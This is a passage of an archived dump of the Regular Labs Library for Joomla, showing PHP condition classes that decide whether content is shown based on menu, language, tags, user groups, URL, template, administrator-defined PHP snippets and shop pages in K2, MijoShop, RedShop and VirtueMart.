public function pass()
{
if ($this->request->option != 'com_k2')
{
return $this->_(false);
}
$tag =
trim(JFactory::getApplication()->input->getString('tag',
''));
$pass = (
($this->params->inc_tags && $tag != '')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $tag != '')
{
$tags =
[trim(JFactory::getApplication()->input->getString('tag',
''))];
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__k2_tags_xref AS x')
->join('LEFT', '#__k2_tags AS t ON t.id =
x.tagID')
->where('x.itemID = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
}
src/Condition/Language.php000064400000001236151167425550011532
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Language
* @package RegularLabs\Library\Condition
*/
class Language
extends \RegularLabs\Library\Condition
{
public function pass()
{
return $this->passSimple(JFactory::getLanguage()->getTag(), true);
}
}
src/Condition/Menu.php000064400000004436151167425550010720 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Document as RL_Document;
/**
* Class Menu
* @package RegularLabs\Library\Condition
*/
class Menu
extends \RegularLabs\Library\Condition
{
public function pass()
{
// return if no Itemid or selection is set
if ( ! $this->request->Itemid || empty($this->selection))
{
return $this->_($this->params->inc_noitemid);
}
// return true if menu is in selection
if (in_array($this->request->Itemid, $this->selection))
{
return $this->_(($this->params->inc_children != 2));
}
$menutype = 'type.' . self::getMenuType();
// return true if menu type is in selection
if (in_array($menutype, $this->selection))
{
return $this->_(true);
}
if ( ! $this->params->inc_children)
{
return $this->_(false);
}
$parent_ids = $this->getMenuParentIds($this->request->Itemid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if ( ! in_array($id, $this->selection))
{
continue;
}
return $this->_(true);
}
return $this->_(false);
}
private function getMenuParentIds($id = 0)
{
return $this->getParentIds($id, 'menu');
}
private function getMenuType()
{
if (isset($this->request->menutype))
{
return $this->request->menutype;
}
if (empty($this->request->Itemid))
{
$this->request->menutype = '';
return $this->request->menutype;
}
if (RL_Document::isClient('site'))
{
$menu = JFactory::getApplication()->getMenu()->getItem((int)
$this->request->Itemid);
$this->request->menutype = isset($menu->menutype) ?
$menu->menutype : '';
return $this->request->menutype;
}
$query = $this->db->getQuery(true)
->select('m.menutype')
->from('#__menu AS m')
->where('m.id = ' . (int) $this->request->Itemid);
$this->db->setQuery($query);
$this->request->menutype = $this->db->loadResult();
return $this->request->menutype;
}
}
src/Condition/Mijoshop.php000064400000002535151167425550011602
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use MijoShop as MijoShopClass;
/**
* Class Mijoshop
* @package RegularLabs\Library\Condition
*/
abstract class Mijoshop
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$input = JFactory::getApplication()->input;
$category_id = $input->getCmd('path', 0);
if (strpos($category_id, '_'))
{
$category_id = end(explode('_', $category_id));
}
$request->item_id = $input->getInt('product_id', 0);
$request->category_id = $category_id;
$request->id = $request->item_id ?:
$request->category_id;
$view = $input->getCmd('view', '');
if (empty($view))
{
$mijoshop = JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php';
if ( ! file_exists($mijoshop))
{
return;
}
require_once $mijoshop;
$route = $input->getString('route', '');
$view = MijoShopClass::get('router')->getView($route);
}
$request->view = $view;
}
}
src/Condition/MijoshopCategory.php000064400000003433151167425550013276
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopCategory
* @package RegularLabs\Library\Condition
*/
class MijoshopCategory
extends Mijoshop
{
public function pass()
{
if ($this->request->option != 'com_mijoshop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCats();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCats()
{
if ($this->request->category_id)
{
return $this->makeArray($this->request->category_id);
}
if ( ! $this->request->item_id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__mijoshop_product_to_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'mijoshop_category',
'parent_id', 'category_id');
}
}
src/Condition/MijoshopPagetype.php000064400000001213151167425550013271
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopPagetype
* @package RegularLabs\Library\Condition
*/
class MijoshopPagetype
extends Mijoshop
{
public function pass()
{
return $this->passByPageType('com_mijoshop',
$this->selection, $this->include_type, true);
}
}
src/Condition/MijoshopProduct.php000064400000001356151167425550013143
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class MijoshopProduct
* @package RegularLabs\Library\Condition
*/
class MijoshopProduct
extends Mijoshop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_mijoshop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Php.php000064400000011630151167425550010535 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Version;
use RegularLabs\Library\RegEx;
/**
* Class Php
* @package RegularLabs\Library\Condition
*/
class Php
extends \RegularLabs\Library\Condition
{
public function pass()
{
if ( ! is_array($this->selection))
{
$this->selection = [$this->selection];
}
$pass = false;
foreach ($this->selection as $php)
{
// replace \n with newline and other fix stuff
$php = str_replace('\|', '|', $php);
$php = RegEx::replace('(?<!\\\)\\\n', "\n",
$php);
$php = trim(str_replace('[:REGEX_ENTER:]', '\n',
$php));
if ($php == '')
{
$pass = true;
break;
}
ob_start();
$pass = (bool) $this->execute($php, $this->article,
$this->module);
ob_end_clean();
if ($pass)
{
break;
}
}
return $this->_($pass);
}
private function getArticleById($id = 0)
{
if ( ! $id)
{
return null;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
return $model->getItem($id);
}
public function execute($string = '', $article = null, $module =
null)
{
if ( ! $function_name = $this->getFunctionName($string))
{
// Something went wrong!
return true;
}
return $this->runFunction($function_name, $string, $article, $module);
}
private function runFunction($function_name = 'rl_function',
$string = '', $article = null, $module = null)
{
if ( ! $article && strpos($string, '$article') !==
false)
{
if ($this->request->option == 'com_content' &&
$this->request->view == 'article')
{
$article = $this->getArticleById($this->request->id);
}
}
return $function_name($article, $module);
}
private function getFunctionName($string = '')
{
$function_name = 'regularlabs_php_' . md5($string);
if (function_exists($function_name))
{
return $function_name;
}
$contents = $this->generateFileContents($function_name, $string);
self::createFunctionInMemory($contents);
if ( ! function_exists($function_name))
{
// Something went wrong!
return false;
}
return $function_name;
}
public static function createFunctionInMemory($string = '')
{
$file_name = getmypid() . '_' . md5($string);
$tmp_path = JFactory::getConfig()->get('tmp_path',
JPATH_ROOT . '/tmp');
$temp_file = $tmp_path . '/regularlabs' . '/' .
$file_name;
// Write file
if ( ! file_exists($temp_file) || is_writable($temp_file))
{
JFile::write($temp_file, $string);
}
// Include file
include_once $temp_file;
// Delete file
if ( ! JFactory::getApplication()->get('debug'))
{
@chmod($temp_file, 0777);
@unlink($temp_file);
}
}
private function generateFileContents($function_name =
'rl_function', $string = '')
{
$init_variables = self::getVarInits();
$contents = [
'<?php',
'defined(\'_JEXEC\') or die;',
'function ' . $function_name . '($article,
$module){',
implode("\n", $init_variables),
$string,
';return true;',
';}',
];
$contents = implode("\n", $contents);
// Remove Zero Width spaces / (non-)joiners
$contents = str_replace(
[
"\xE2\x80\x8B",
"\xE2\x80\x8C",
"\xE2\x80\x8D",
],
'',
$contents
);
return $contents;
}
public static function getVarInits()
{
return [
'$app = $mainframe =
RegularLabs\Library\Condition\Php::getApplication();',
'$document = $doc =
RegularLabs\Library\Condition\Php::getDocument();',
'$database = $db = JFactory::getDbo();',
'$user = JFactory::getUser();',
'$Itemid = $app->input->getInt(\'Itemid\');',
];
}
public static function getApplication()
{
if (JFactory::getApplication()->input->get('option') !=
'com_finder')
{
return JFactory::getApplication();
}
return CMSApplication::getInstance('site');
}
public static function getDocument()
{
if (JFactory::getApplication()->input->get('option') !=
'com_finder')
{
return JFactory::getDocument();
}
$lang = JFactory::getLanguage();
$version = new Version;
$attributes = [
'charset' => 'utf-8',
'lineend' => 'unix',
'tab' => "\t",
'language' => $lang->getTag(),
'direction' => $lang->isRtl() ? 'rtl' :
'ltr',
'mediaversion' => $version->getMediaVersion(),
];
return \JDocument::getInstance('html', $attributes);
}
}
src/Condition/Redshop.php000064400000001524151167425550011413
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Redshop
* @package RegularLabs\Library\Condition
*/
abstract class Redshop
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$request->item_id =
JFactory::getApplication()->input->getInt('pid', 0);
$request->category_id =
JFactory::getApplication()->input->getInt('cid', 0);
$request->id = $request->item_id ?:
$request->category_id;
}
}
src/Condition/RedshopCategory.php000064400000003353151167425550013113
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopCategory
* @package RegularLabs\Library\Condition
*/
class RedshopCategory
extends Redshop
{
public function pass()
{
if ($this->request->option != 'com_redshop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = [];
if ($this->request->category_id)
{
$cats = $this->request->category_id;
}
else if ($this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.category_id')
->from('#__redshop_product_category_xref AS x')
->where('x.product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'redshop_category_xref',
'category_parent_id', 'category_child_id');
}
}
src/Condition/RedshopPagetype.php000064400000001207151167425550013110
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopPagetype
* @package RegularLabs\Library\Condition
*/
class RedshopPagetype
extends Redshop
{
public function pass()
{
return $this->passByPageType('com_redshop',
$this->selection, $this->include_type, true);
}
}
src/Condition/RedshopProduct.php000064400000001352151167425550012753
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class RedshopProduct
* @package RegularLabs\Library\Condition
*/
class RedshopProduct
extends Redshop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_redshop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Tag.php000064400000006074151167425550010527 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Tag
* @package RegularLabs\Library\Condition
*/
class Tag
extends \RegularLabs\Library\Condition
{
public function pass()
{
if ( ! $this->request->id)
{
return $this->_(false);
}
if (in_array($this->request->option, ['com_content',
'com_flexicontent']))
{
return $this->passTagsContent();
}
if ($this->request->option != 'com_tags'
|| $this->request->view != 'tag'
)
{
return $this->_(false);
}
return $this->passTag($this->request->id);
}
private function passTagsContent()
{
$is_item = in_array($this->request->view, ['',
'article', 'item']);
$is_category = in_array($this->request->view,
['category']);
switch (true)
{
case ($is_item):
$prefix = 'com_content.article';
break;
case ($is_category):
$prefix = 'com_content.category';
break;
default:
return $this->_(false);
}
// Load the tags.
$query = $this->db->getQuery(true)
->select($this->db->quoteName('t.id'))
->select($this->db->quoteName('t.title'))
->from('#__tags AS t')
->join(
'INNER', '#__contentitem_tag_map AS m'
. ' ON m.tag_id = t.id'
. ' AND m.type_alias = ' . $this->db->quote($prefix)
. ' AND m.content_item_id = ' . (int)
$this->request->id
);
$this->db->setQuery($query);
$tags = $this->db->loadObjectList();
if (empty($tags))
{
return $this->_(false);
}
return $this->_($this->passTagList($tags));
}
private function passTagList($tags)
{
if ($this->params->match_all)
{
return $this->passTagListMatchAll($tags);
}
foreach ($tags as $tag)
{
if ( ! $this->passTag($tag->id) && !
$this->passTag($tag->title))
{
continue;
}
return true;
}
return false;
}
private function passTag($tag)
{
$pass = in_array($tag, $this->selection);
if ($pass)
{
// If passed, return false if assigned to only children
// Else return true
return ($this->params->inc_children != 2);
}
if ( ! $this->params->inc_children)
{
return false;
}
// Return true if a parent id is present in the selection
return array_intersect(
$this->getTagsParentIds($tag),
$this->selection
);
}
private function getTagsParentIds($id = 0)
{
$parentids = $this->getParentIds($id, 'tags');
// Remove the root tag
$parentids = array_diff($parentids, [1]);
return $parentids;
}
private function passTagListMatchAll($tags)
{
foreach ($this->selection as $id)
{
if ( ! $this->passTagMatchAll($id, $tags))
{
return false;
}
}
return true;
}
private function passTagMatchAll($id, $tags)
{
foreach ($tags as $tag)
{
if ($tag->id == $id || $tag->title == $id)
{
return true;
}
}
return false;
}
}
src/Condition/Template.php000064400000003640151167425550011563
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Template
* @package RegularLabs\Library\Condition
*/
class Template
extends \RegularLabs\Library\Condition
{
public function pass()
{
$template = $this->getTemplate();
// Put template name and name + style id into array
// The '::' separator was used in pre Joomla 3.3
$template = [$template->template, $template->template .
'--' . $template->id, $template->template . '::'
. $template->id];
return $this->passSimple($template, true);
}
public function getTemplate()
{
$template = JFactory::getApplication()->getTemplate(true);
if (isset($template->id))
{
return $template;
}
$params = json_encode($template->params);
// Find template style id based on params, as the template style id is
not always stored in the getTemplate
$query = $this->db->getQuery(true)
->select('id')
->from('#__template_styles AS s')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->where('s.params = ' . $this->db->quote($params))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
if ($template->id)
{
return $template;
}
// No template style id is found, so just grab the first result based on
the template name
$query->clear('where')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
return $template;
}
}
src/Condition/Url.php000064400000003213151167425550010546 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\RegEx;
use RegularLabs\Library\StringHelper;
/**
* Class Url
* @package RegularLabs\Library\Condition
*/
class Url
extends \RegularLabs\Library\Condition
{
public function pass()
{
$regex = isset($this->params->regex) ? $this->params->regex :
false;
if ( ! is_array($this->selection))
{
$this->selection = explode("\n", $this->selection);
}
if (count($this->selection) == 1)
{
$this->selection = explode("\n", $this->selection[0]);
}
$url = JUri::getInstance();
$url = $url->toString();
$urls = [
StringHelper::html_entity_decoder(urldecode($url)),
urldecode($url),
StringHelper::html_entity_decoder($url),
$url,
];
$urls = array_unique($urls);
$pass = false;
foreach ($urls as $url)
{
foreach ($this->selection as $s)
{
$s = trim($s);
if ($s == '')
{
continue;
}
if ($regex)
{
$url_part = str_replace(['#', '&'],
['\#', '(&|&)'], $s);
if (@RegEx::match($url_part, $url))
{
$pass = true;
break;
}
continue;
}
if (strpos($url, $s) !== false)
{
$pass = true;
break;
}
}
if ($pass)
{
break;
}
}
return $this->_($pass);
}
}
src/Condition/User.php000064400000001027151167425550010723 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class User
* @package RegularLabs\Library\Condition
*/
abstract class User
extends \RegularLabs\Library\Condition
{
}
src/Condition/UserAccesslevel.php000064400000002702151167425550013076
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\DB as RL_DB;
/**
* Class UserAccesslevel
* @package RegularLabs\Library\Condition
*/
class UserAccesslevel
extends User
{
public function pass()
{
$user = JFactory::getUser();
$levels = $user->getAuthorisedViewLevels();
$this->selection =
$this->convertAccessLevelNamesToIds($this->selection);
return $this->passSimple($levels);
}
private function convertAccessLevelNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $level)
{
if (is_numeric($level))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $level));
}
if (empty($names))
{
return $selection;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__viewlevels')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
""))'
. RL_DB::in($names));
$db->setQuery($query);
$level_ids = $db->loadColumn();
return array_unique(array_merge($selection, $level_ids));
}
}
src/Condition/UserGrouplevel.php000064400000005616151167425550013000
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\DB as RL_DB;
/**
* Class UserGrouplevel
* @package RegularLabs\Library\Condition
*/
class UserGrouplevel
extends User
{
public function pass()
{
$user = JFactory::getUser();
if ( ! empty($user->groups))
{
$groups = array_values($user->groups);
}
else
{
$groups = $user->getAuthorisedGroups();
}
if ( ! $this->params->match_all &&
$this->params->inc_children)
{
$this->setUserGroupChildrenIds();
}
$this->selection =
$this->convertUsergroupNamesToIds($this->selection);
if ($this->params->match_all)
{
return $this->passMatchAll($groups);
}
return $this->passSimple($groups);
}
private function passMatchAll($groups)
{
$pass = ! array_diff($this->selection, $groups) && !
array_diff($groups, $this->selection);
return $this->_($pass);
}
private function convertUsergroupNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $group)
{
if (is_numeric($group))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $group));
}
if (empty($names))
{
return $selection;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__usergroups')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
""))'
. RL_DB::in($names));
$db->setQuery($query);
$group_ids = $db->loadColumn();
return array_unique(array_merge($selection, $group_ids));
}
private function setUserGroupChildrenIds()
{
$children = $this->getUserGroupChildrenIds($this->selection);
if ($this->params->inc_children == 2)
{
$this->selection = $children;
return;
}
$this->selection = array_merge($this->selection, $children);
}
private function getUserGroupChildrenIds($groups)
{
$children = [];
$db = JFactory::getDbo();
foreach ($groups as $group)
{
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__usergroups'))
->where($db->quoteName('parent_id') . ' = ' .
(int) $group);
$db->setQuery($query);
$group_children = $db->loadColumn();
if (empty($group_children))
{
continue;
}
$children = array_merge($children, $group_children);
$group_grand_children =
$this->getUserGroupChildrenIds($group_children);
if (empty($group_grand_children))
{
continue;
}
$children = array_merge($children, $group_grand_children);
}
$children = array_unique($children);
return $children;
}
}
src/Condition/UserUser.php000064400000001173151167425550011564
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class UserUser
* @package RegularLabs\Library\Condition
*/
class UserUser
extends User
{
public function pass()
{
return $this->passSimple(JFactory::getUser()->get('id'));
}
}
src/Condition/Virtuemart.php000064400000002122151167425550012144
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Virtuemart
* @package RegularLabs\Library\Condition
*/
abstract class Virtuemart
extends \RegularLabs\Library\Condition
{
public function initRequest(&$request)
{
$virtuemart_product_id =
JFactory::getApplication()->input->get('virtuemart_product_id',
[], 'array');
$virtuemart_category_id =
JFactory::getApplication()->input->get('virtuemart_category_id',
[], 'array');
$request->item_id = isset($virtuemart_product_id[0]) ?
$virtuemart_product_id[0] : null;
$request->category_id = isset($virtuemart_category_id[0]) ?
$virtuemart_category_id[0] : null;
$request->id = $request->item_id ?:
$request->category_id;
}
}
src/Condition/VirtuemartCategory.php000064400000005421151167425550013647
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\RegEx;
/**
* Class VirtuemartCategory
* @package RegularLabs\Library\Condition
*/
class VirtuemartCategory
extends Virtuemart
{
public function pass()
{
if ($this->request->option != 'com_virtuemart')
{
return $this->_(false);
}
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
$pass = (($this->params->inc_categories &&
in_array($this->request->view, ['categories',
'category']))
|| ($this->params->inc_items && $this->request->view
== 'productdetails')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = [];
if ($this->request->view == 'productdetails' &&
$this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.virtuemart_category_id')
->from('#__virtuemart_product_categories AS x')
->where('x.virtuemart_product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
else if ($this->request->category_id)
{
$cats = $this->request->category_id;
if ( ! is_numeric($cats))
{
$query = $this->db->getQuery(true)
->select('config')
->from('#__virtuemart_configs')
->where('virtuemart_config_id = 1');
$this->db->setQuery($query);
$config = $this->db->loadResult();
$lang = substr($config, strpos($config, 'vmlang='));
$lang = substr($lang, 0, strpos($lang, '|'));
if (RegEx::match('"([^"]*_[^"]*)"',
$lang, $lang))
{
$lang = $lang[1];
}
else
{
$lang = 'en_gb';
}
$query = $this->db->getQuery(true)
->select('l.virtuemart_category_id')
->from('#__virtuemart_categories_' . $lang . ' AS
l')
->where('l.slug = ' . $this->db->quote($cats));
$this->db->setQuery($query);
$cats = $this->db->loadResult();
}
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id,
'virtuemart_category_categories', 'category_parent_id',
'category_child_id');
}
}
src/Condition/VirtuemartPagetype.php000064400000001475151167425550013655
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class VirtuemartPagetype
* @package RegularLabs\Library\Condition
*/
class VirtuemartPagetype
extends Virtuemart
{
public function pass()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
return $this->passByPageType('com_virtuemart',
$this->selection, $this->include_type, true);
}
}
src/Condition/VirtuemartProduct.php000064400000001647151167425550013520
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class VirtuemartProduct
* @package RegularLabs\Library\Condition
*/
class VirtuemartProduct
extends Virtuemart
{
public function pass()
{
